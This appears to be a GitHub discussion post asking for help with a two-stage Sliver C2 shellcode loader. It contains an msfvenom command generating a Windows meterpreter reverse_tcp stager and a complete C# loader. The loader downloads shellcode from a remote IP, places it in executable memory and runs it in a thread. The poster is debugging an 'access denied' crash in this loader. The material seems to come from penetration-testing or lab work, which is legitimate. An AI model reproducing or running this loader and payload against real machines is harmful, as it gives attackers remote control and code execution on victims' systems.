You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I was attempting to do both a C++ and a C# / .NET shellcode loader for sliver, using 2 stages (msfvenom downloader as stage 1, sliver tcp-stager functionality as stage 2). My C++ implementations works, by my C# / .NET implementation crashes with the Sliver shellcode, I get an "access denied 0x5" at shellcode run time.
Note that:
Using a C++ similar loader works, and I get an implant callback
My C# implementation works for simpler shellcode payloads (e.g., msgbox)
I do see the tcp download of stage 2 in the logs, confirming that stage 1 execution worked (at least for its first part)
I tried different variations of the C# code (statically defined shellcode, use or not of threads to start the payload)
msfvenom --platform windows --format raw --arch x64 --payload windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=53 EXITFUNC=thread --out ~/share/payload.bin
# Functional test shellcode# msfvenom -p windows/x64/messagebox -a x64 TEXT=hello64 TITLE=hello -f raw -v SHELLCODE EXITFUNC=thread --out ~/share/payload.bin
CS code
usingSystem;usingSystem.Net;usingSystem.Runtime.InteropServices;usingSystem.Threading;namespacetest_dotnet{internalclassProgram{[DllImport("kernel32.dll",SetLastError=true,ExactSpelling=true)]staticexternIntPtrVirtualAlloc(IntPtrlpAddress,uintdwSize,uintflAllocationType,uintflProtect);[DllImport("kernel32.dll")]staticexternIntPtrCreateThread(IntPtrlpThreadAttributes,uintdwStackSize,IntPtrlpStartAddress,IntPtrlpParameter,uintdwCreationFlags,IntPtrlpThreadId);[DllImport("kernel32.dll",SetLastError=true,ExactSpelling=true)]staticexternboolVirtualProtect(IntPtrlpAddress,uintdwSize,uintflNewProtect,outuintlpflOldProtect);[DllImport("kernel32.dll")]staticexternUInt32WaitForSingleObject(IntPtrhHandle,UInt32dwMilliseconds);staticvolatileintsize;[UnmanagedFunctionPointer(CallingConvention.Cdecl)]// most shellcodes expect cdeclprivatedelegatevoidShellcodeDelegate();staticvoidMain(string[]args){System.Net.WebClientclient=newWebClient();byte[]buf=client.DownloadData("http://192.168.45.238/payload.bin");size=buf.Length;// PAGE_EXECUTE_READWRITE = 0x40IntPtraddr=VirtualAlloc(IntPtr.Zero,(uint)size,0x3000,0x40);Marshal.Copy(buf,0,addr,size);uintoldProtect=0;VirtualProtect(addr,(uint)size,0x40,outoldProtect);ShellcodeDelegateshellcodeFunc=(ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(addr,typeof(ShellcodeDelegate));//shellcodeFunc();// Run in a background thread so Main can sleep (mimics your C++ pattern)Threadt=newThread(()=>shellcodeFunc());t.IsBackground=true;t.Start();//CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);Thread.Sleep(Timeout.Infinite);}}}
reacted with thumbs up emoji reacted with thumbs down emoji reacted with laugh emoji reacted with hooray emoji reacted with confused emoji reacted with heart emoji reacted with rocket emoji reacted with eyes emoji
Uh oh!
There was an error while loading. Please reload this page.
Hello,
I was attempting to do both a C++ and a C# / .NET shellcode loader for sliver, using 2 stages (msfvenom downloader as stage 1, sliver tcp-stager functionality as stage 2). My C++ implementations works, by my C# / .NET implementation crashes with the Sliver shellcode, I get an "access denied 0x5" at shellcode run time.
Note that:
Does anyone have already run into this?
Thanks for your answers! 🙏
Steps performed:
CS code
All reactions